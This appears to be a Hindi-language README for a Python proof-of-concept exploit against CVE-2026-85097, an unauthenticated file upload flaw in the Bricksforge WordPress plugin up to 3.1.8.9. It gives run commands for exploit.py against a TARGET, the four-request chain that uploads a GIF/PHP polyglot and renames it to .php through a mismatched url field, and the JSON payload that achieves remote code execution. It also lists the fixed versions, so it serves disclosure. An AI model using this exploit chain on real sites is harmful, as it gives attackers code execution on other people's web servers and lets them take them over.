
Python PoC जो CVE-2026-85097 का शोषण करता है, जो Bricksforge <= 3.1.8.9 में एक अनधिकृत फ़ाइल अपलोड है, जो RCE प्राप्त करने के लिए GIF/PHP पॉलीग्लॉट और URL बेमेल का उपयोग करता है।
Bricksforge <= 3.1.8.9 में अनधिकृत फ़ाइल अपलोड → PHP RCE।
temporaryFileUploads.url फ़ॉर्म सबमिट होने पर क्लाइंट से लिया जाता है। पहले अपलोड पर MIME जाँचा जाता है, फिर copy() गंतव्य नाम के रूप में basename($url) का उपयोग करता है।
| CVE | CVE-2026-85097 |
| CWE | CWE-434 |
| CVSS | 9.8 / 10.0 |
| प्रभावित | Bricksforge <= 3.1.8.9 |
| ठीक किया गया | 3.1.8.10, 4.0.1 |
| प्रमाणीकरण | कोई नहीं |
pip3 install requests
python3 exploit.py --url http://TARGET
python3 exploit.py --url https://TARGET --insecure
python3 exploit.py --url http://TARGET --form-id FORM --post-id 12 --field-id file
एक लाइव Pro Form आवश्यक है। अपलोड फ़ील्ड वैकल्पिक है।
POST /wp-admin/admin-ajax.php action=bricksforge_regenerate_noncePOST /wp-json/bricksforge/v1/form_file_upload — GIF/PHP पॉलीग्लॉट (MIME ठीक)POST /wp-json/bricksforge/v1/form_submit — file = .gif, url = .phpGET /wp-content/uploads/YYYY/MM/*.php — बॉडी CVE-2026-85097-OK{
"temporaryFileUploads": [
{
"field": "form-field-file",
"file": {
"file": "/var/www/html/wp-content/uploads/bricksforge/tmp/xxxx.gif",
"url": "http://TARGET/wp-content/uploads/bricksforge/tmp/pwn.php",
"type": "image/gif"
}
}
]
}